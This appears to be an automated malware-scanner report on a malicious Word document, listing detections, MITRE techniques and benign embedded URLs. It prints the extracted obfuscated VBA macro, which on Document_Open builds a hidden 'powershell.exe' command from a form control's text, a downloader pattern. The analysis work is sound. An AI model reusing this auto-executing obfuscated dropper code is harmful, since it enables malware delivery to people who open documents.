MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample contains a VBA macro that executes a shell command. The Document_Open macro is triggered upon opening the document, which then calls a function to construct and execute a command. This command appears to be designed to download and execute a second-stage payload, indicated by the use of 'shell.exe'. The presence of the Shell() call and the auto-execution token in the VBA p-code strongly suggest a downloader or dropper functionality.
Heuristics 6
-
ClamAV: Doc.Downloader.00536d-6846259-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.00536d-6846259-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1492 bytes |
SHA-256: 341fd55a14a024496365e3851e793f74cddb820ff63f64bbee6d3ebc2fdfc947 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim Lal9sewRS(16 To 256) As Long
Lal9sewRS(16) = 1736 / 14
Dim SU1Za7WH(16 To 256) As String
SU1Za7WH(16) = "di9dR"
Dim kzd2rG As Long
kzd2rG = (749 - 721) / (51)
Dim vlRWIEg(14 To 53) As Long
vlRWIEg(14) = 27900 / 150
Dim Mc7K1(97) As Byte
Dim sv01F() As Byte
Call w("er")
End Sub
Attribute VB_Name = "OJ75BFVLN"
Sub w(dlIXbHJ)
Dim nWG1IpQ As Long
nWG1IpQ = (19431 / 1143) / (14)
Dim U4R82 As String
U4R82 = Z3VDra
Dim pvmY6j() As Byte
T9qT5e = "shell.exe "
Shell R38TY67FU() _
& dlIXbHJ _
& T9qT5e _
& UhECSaq _
, 0
End Sub
Attribute VB_Name = "eI5Y1vzA3"
Public Function R38TY67FU() As String
R38TY67FU = "pow"
End Function
Attribute VB_Name = "NrshV7NUp"
Public Function UhECSaq()
Dim WGC2R1 As Object
Set WGC2R1 = New f
Dim hdW8KY3 As String
hdW8KY3 = WGC2R1.de.Text
UhECSaq = hdW8KY3
End Function
Attribute VB_Name = "f"
Attribute VB_Base = "0{8D46682B-BD75-477E-8D30-504C6779F9DC}{767822C8-34FF-4FF4-8F1E-3B8E681E7D41}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.